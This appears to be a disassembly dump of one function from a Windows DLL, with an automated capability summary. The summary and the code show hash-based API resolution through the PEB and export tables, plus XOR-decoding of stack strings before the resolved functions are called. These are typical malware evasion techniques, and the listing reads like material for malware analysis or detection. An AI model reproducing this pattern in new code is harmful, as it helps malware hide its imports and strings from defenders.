Function at 0x180012090
Capabilities:
Access peb ldr_data
Encode data using xor
Get kernel32 base address
Get process filename
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov r11, rsp
mov qword [r11 + 0x18], rbx
mov qword [r11 + 0x20], r14
push rbp
lea rbp, [r11 - 0x68]
sub rsp, 0x160
mov rax, qword [0x18004c1c0]
xor rax, rsp
mov qword [rbp + 0x40], rax
mov eax, dword [0x180044ea8]
movups xmm0, xmmword [str.SD__]
movups xmm1, xmmword [0x180044e30]
movups xmmword [rbp - 0x50], xmm0
movups xmm0, xmmword [0x180044e40]
movups xmmword [rbp - 0x30], xmm0
movups xmm0, xmmword [0x180044e60]
movups xmmword [rbp - 0x10], xmm0
movups xmm0, xmmword [0x180044e80]
movups xmmword [rbp - 0x40], xmm1
movups xmm1, xmmword [0x180044e50]
movups xmmword [rbp + 0x10], xmm0
movsd xmm0, qword [str.vv__f_2.nM]
movups xmmword [rbp - 0x20], xmm1
movups xmm1, xmmword [0x180044e70]
movsd qword [rbp + 0x30], xmm0
movups xmm0, xmmword [0x180045050]
movups xmmword [rbp], xmm1
movups xmm1, xmmword [0x180044e90]
movups xmmword [rsp + 0x30], xmm0
movups xmm0, xmmword [0x180045070]
movups xmmword [rbp + 0x20], xmm1
movups xmm1, xmmword [str.m_b___k898.___27sy0.44__233._]
mov dword [rbp + 0x38], eax
mov eax, dword [0x1800450c0]
movups xmmword [rsp + 0x50], xmm0
movups xmm0, xmmword [0x180045090]
movups xmmword [rsp + 0x40], xmm1
movups xmm1, xmmword [0x180045080]
mov dword [rbp - 0x60], eax
movzx eax, word [0x1800450c4]
movups xmmword [rsp + 0x70], xmm0
movups xmm0, xmmword [0x1800450b0]
movups xmmword [rsp + 0x60], xmm1
movups xmm1, xmmword [0x1800450a0]
mov word [rbp - 0x5c], ax
movzx eax, byte [0x1800450c6]
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x80], xmm1
mov byte [rbp - 0x5a], al
mov rax, qword gs:[0x60]
mov qword [r11 + 8], rsi
mov qword [r11 + 0x10], rdi
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x180012227
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x180012227
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x42e30694
lea rcx, [rbx + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x180012222
nop
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jne 0x180012200
cmp r8d, 0xda5c1c2d
je 0x18001222c
test r9d, r9d
jne 0x1800121e0
mov rax, qword [rax]
jmp 0x1800121b0
mov ecx, dword [rdi + 0x24]
xor ebx, ebx
mov r14d, dword [0x18004c208]
add rcx, r10
movaps xmmword [rsp + 0x150], xmm6
mov r8d, ebx
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
add r11, r10
cmp r14d, 2
jl 0x180012398
movdqa xmm0, xmmword [0x1800455b0]
lea rcx, [rsp + 0x34]
movdqa xmm5, xmmword [0x180045570]
movdqa xmm4, xmmword [0x1800455a0]
movdqa xmm6, xmmword [str.7777]
movdqa xmmword [rsp + 0x20], xmm0
mov edx, dword [rsp + 0x20]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x180045590]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x180045590]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x70
jl 0x180012291
cmp r8d, 0x77
jge 0x1800123e0
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 0x77
jl 0x1800123b0
lea rcx, [rsp + 0x30]
call r11
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x180012477
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x180012477
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x3be0bcf8
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x180012472
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x180012450
cmp r8d, 0x55a360f9
je 0x18001247c
test r9d, r9d
jne 0x180012430
mov rax, qword [rax]
jmp 0x180012400
mov ecx, dword [rsi + 0x24]
mov rdi, qword [rsp + 0x178]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
mov rsi, qword [rsp + 0x170]
add rcx, r10
mov r9d, dword [rcx + rdx*4]
add r9, r10
cmp byte [rbp + 0x3b], bl
je 0x18001263f
cmp r14d, 2
jl 0x1800125f8
movdqa xmm0, xmmword [0x1800455b0]
lea rcx, [rbp - 0x4c]
movdqa xmm5, xmmword [0x180045570]
movdqa xmm4, xmmword [0x1800455a0]
movdqa xmm6, xmmword [str.7777]
movdqa xmmword [rsp + 0x20], xmm0
mov edx, dword [rsp + 0x20]
nop word [rax + rax]
movd xmm2, ebx
lea eax, [rbx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ebx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x180045590]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x180045590]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp ebx, 0x88
jl 0x1800124f0
cmp ebx, 0x8c
jge 0x18001263f
movsxd rax, ebx
lea r8, [rbp - 0x50]
add r8, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
lea r8, [r8 + 1]
imul ebx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, bl
inc ebx
sub al, cl
add al, 0x30
xor byte [r8 - 1], al
cmp ebx, 0x8c
jl 0x180012610
lea rcx, [rbp - 0x50]
call r9
movaps xmm6, xmmword [rsp + 0x150]
mov al, 1
mov rcx, qword [rbp + 0x40]
xor rcx, rsp
call fcn.18001c5f0
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret